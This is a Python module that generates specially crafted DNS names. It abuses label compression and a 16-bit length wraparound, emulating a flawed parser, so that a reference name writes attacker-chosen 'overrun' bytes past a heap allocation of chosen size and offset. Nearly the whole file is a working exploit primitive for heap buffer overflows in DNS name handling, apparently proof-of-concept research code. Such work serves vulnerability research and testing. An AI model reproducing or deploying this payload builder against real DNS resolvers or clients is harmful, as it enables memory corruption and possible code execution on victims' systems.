#
# This module contains helper functions for handling long DNS names, including compression.
#
from struct import pack

N = 0x40  # maximum valid length in a domain name + 1; N must be a power of 2.

def p8(x):
    return pack("B", x)

def index_to_compression(idx):
    assert idx <= 0x3fff
    return pack("BB", 0xc0 | (idx >> 8), idx & 0xff)

def label_length(buf, label_index):
    """ Calculate label length including compression.
        Returns a tuple: the total length and a boolean value indicating whether wrap-around condition has occurred.
        Note that this function incorrectly handles the case of a starting 0 length.
        This is intended, because the goal is to emulate the real-deal :)
        
        Example:
         print(label_length(b'\x03www\x06google\x03com\x00', 0)) # 15, False
    """
    wraparound = False
    total_length = 0
    
    i = label_index
    length = buf[i]
    non_zero_length = True
    while non_zero_length:

        if (length & 0xc0) == 0:
            total_length = total_length + 1 + length
            wraparound = wraparound or total_length > 0xffff
            total_length &= 0xffff

            i = i + 1 + length
            i &= 0xffff
        else:
            new_index = (length & 0x3f) + buf[i+1]

            if new_index >= label_index:
                # bad compression
                return 0, False
            
            label_index = new_index
            i = label_index

        length = buf[i]
        non_zero_length = length != 0
    
    return total_length, wraparound

def compression_fixup(buf, offset):
    """ Adds 'offset' to every compression in buf """
    i = 0
    while (i + 1) < len(buf):
        if (buf[i] & 0xc0) == 0:
            i += 1
        else:
            current_ptr = (buf[i] & 0x3f) + buf[i+1]
            new_ptr = current_ptr + offset
            assert new_ptr <= 0x3fff, "new_ptr is too large"

            buf[i] = 0xc0 | (new_ptr >> 8)
            buf[i+1] = new_ptr & 0xff
            i += 2

def print_buf(buf, columns=N, spare_count=0):
    """ hexdump of buf """
    i = 0
    while i < len(buf) + spare_count:
        if i < spare_count:
            print("?? ", end='')
        else:
            print("%02x " % buf[i-spare_count], end='')
        if (i+1) % columns == 0:
            print()
        i += 1
    print()

def get_basic_long_name(extra_rows=0xc):
    """ Generate long dns name using compression. """

    buf = bytearray()
    for _ in range(extra_rows + 1):
        for _ in range(N):
            buf.append(N-1)
    
    buf[0] = 0x00 # so that the last compression would stop
    buf[len(buf) - N + 1] = N-2 # so that we would jump to the last compression

    compressions_per_row, current_compression = 1, 0
    while compressions_per_row < N:
        # c0 xx c0 xx ...
        last_ptr, ptr = 0, 0
        while ptr < compressions_per_row*2 and ptr < N:
            buf.append(0xc0)
            buf.append(current_compression)
            current_compression += 1
            ptr += 2

        # 3b 3c 3d 3e
        last_ptr = ptr
        while ptr - last_ptr < compressions_per_row*2 and ptr < N:
            buf.append(N-1-compressions_per_row*2 + ptr - last_ptr)
            ptr += 1
        
        # 3f 3f 3f 3f ...
        last_ptr = ptr
        while ptr - last_ptr < (N - compressions_per_row*4) and ptr < N:
            buf.append(N-1)
            ptr += 1
        
        compressions_per_row = compressions_per_row << 1
    
    return buf


def build_long_name(alloc_length, overrun, offset_from_header, filler=b'A'):
    """ 
    Args:
    - alloc_length: desired allocation length 
    - overrun: bytes to overwrite
    """
    assert len(overrun) <= 0x3f # TODO: support overrun of more than 0x3f

    long_name = get_basic_long_name()
    
    basic_length, is_overflow = label_length(long_name, 0x3f)
    i = 1
    while basic_length >= N and is_overflow:
        long_name[i] = 0
        basic_length, is_overflow = label_length(long_name, 0x3f)
        i += 1
    assert is_overflow

    aligned_offset_from_header = (offset_from_header + 0x3f) & ~0x3f
    difference = aligned_offset_from_header - offset_from_header
    assert difference == 0 or difference >= 3, "difference %d too short" % difference

    compression_fixup(long_name, aligned_offset_from_header)

    long_name_prefix = bytearray()
    if difference != 0:
        long_name_prefix.append(difference - 2)
        for _ in range(difference - 2):
            long_name_prefix.append(filler[0])
        long_name_prefix.append(N - 1)

    long_name = long_name_prefix + long_name

    # build the reference to the long name, that will contain our overrun and should be position independent
    skip = 2  # number of rows to skip
    new_basic_length = basic_length - skip*N
    fill_length = - (len(overrun) + 1 + new_basic_length)
    assert fill_length == 0 or fill_length > 1

    ref_to_long_name = b''
    ref_to_long_name += p8(alloc_length-1) + filler*(alloc_length-1)
    ref_to_long_name += p8(len(overrun)) + overrun
    while fill_length != 0:  # this will cause overrun to stop... 
        if fill_length <= N:
            ref_to_long_name += p8(fill_length - 1) + b'\x00'*(fill_length - 1)
            fill_length = 0
        elif fill_length == N + 1:
            ref_to_long_name += p8(N-2) + b'\x00'*(N-2) # N-1
            ref_to_long_name += p8(1) + b'\x00'
            fill_length = 0
        else:
            ref_to_long_name += p8(N-1) + b'\x00'*(N-1)
            fill_length -= N
    ref_to_long_name += index_to_compression(aligned_offset_from_header + N-1 + skip*N)

    return bytes(long_name), ref_to_long_name


# long_name, ref_to_long_name = build_long_name(4, b'OVERRUN', 12)
# print("long name: ")
# print_buf(long_name, spare_count=12)
# print("ref to long name: ")
# print_buf(ref_to_long_name)